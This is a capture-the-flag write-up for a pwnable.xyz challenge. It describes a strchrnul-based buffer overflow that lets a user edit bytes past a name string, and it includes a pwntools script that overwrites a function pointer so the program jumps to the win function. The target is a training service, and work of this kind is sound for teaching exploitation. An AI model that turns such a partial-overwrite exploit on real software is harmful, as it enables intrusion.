Initially the program prompts for username then continue with the menu. Users can
Option 1 calls the game. A game is stored at **(cur+0x88)
Option 2 calls save_game()
Option 3 calls delete_save()
Option 4 just prints the current name
Option 5 calls edit_char()
Option 0 exits the program
Call win which will print out the flag
Buffer Overflow:
edit_char uses strchrnul which returns a pointer to the null byte at the end of the string, rather than NULL. It is used here without checking the bounds of the character to replace.
This example replaces Z with f. Z doesn't exist so the 0x00 is replaced instead
| Before | After |
|---|---|
![]() |
![]() |
By replacing multiple 0x00 we can 'grow' the name string to also include the bytes beyond its original length.
-
The maximum length of name is
0x7for 127. This includes\nand\x00when entering manually
The game is stored at cur+0x88 (highlighted). It can be overwritten using edit_char
-
The default game address is at
0x00400d6b -
The address of win is located at
0x00400cf3
- Use Option 5 to replace
0x00until the name string grows to include the word atcur+0x88 - Use Option 5 to replace
0x00400d6bto0x00400cf3(change 2 lower bytes) - Use Option 1 to jump to win function
from pwn import *
e = ELF("challenge")
p = remote("svc.pwnable.xyz", 30015)
payload = b"D" * 0x7f
p.recvuntil(b":")
p.send(payload)
# grow the string
# change 5 \x00 to D with strchrnul
for i in range(0, 5):
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'Z')
p.sendline(b'D')
# change 0x400d6b to 0x400cf3
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x0d')
p.sendline(b'\x0c')
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x6b')
p.sendline(b'\xf3')
# Jump to win
p.sendline(b'1')
p.interactive()Note: This exploit works sometimes because the number of \x00 to be replaced varies. Just run multiple times





